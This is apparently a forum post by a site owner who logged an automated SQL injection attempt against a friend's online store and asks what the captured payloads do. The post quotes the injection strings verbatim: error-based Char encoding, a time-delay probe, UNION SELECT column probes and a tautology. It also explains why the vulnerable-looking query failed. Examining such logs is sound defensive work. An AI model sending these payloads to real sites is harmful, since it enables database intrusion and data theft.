I created an online store for a friend of mine.
I created a system that shoots me an email any time there is a database error, that way if it is a bug in my code I can identify it and fix it. The email includes details about the query that failed, the data that was passed, session data, etc.
Well at 3:05 this morning I got about 120 emails in five min. for a database error and looking at what was happening I can quickly tell it was a mysql injection attack. After looking at a bunch of the things the attacker tried I'm kind of wondering what some of the sql commands they were trying to pass would actually do.
After looking through the whole database as well as the files on the site, I'm nearly 99% positive nothing was harmed, deleted or changed. Which makes me glad to know that I'm knowledgeable enough in my php to know how to prevent these things.
My question is, of the mysql commands below, what was the attacker trying to do?
or 1=convert(int,(select cast(Char(114)+Char(51)+Char(100)+Char(109)+Char(48)+Char(118)+Char(51)+Char(95)+Char(104)+Char(118)+Char(106)+Char(95)+Char(105)+Char(110)+Char(106)+Char(101)+Char(99)+Char(116)+Char(105)+Char(111)+Char(110) as nvarchar(4000))))-- ; if (1=1) waitfor delay \'00:00:07\'-- union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- 999999.9 union all select 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536-- leachiancs\' and \'x\'=\'x
Thanks for the info.
The query that was run for every attack was a simple
SELECT * FROM tableName WHERE $phpVar AND price!='sold' ORDER BY id DESC
The $phpVar is populated based on if a $_GET entry matches a term in an acceptedTerms array.
so the literal query that was running and returning an error was
SELECT * FROM tableName WHERE AND price!='sold' ORDER BY id DESC
That is what threw the follow
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND price!='sold' ORDER BY id DESC' at line 1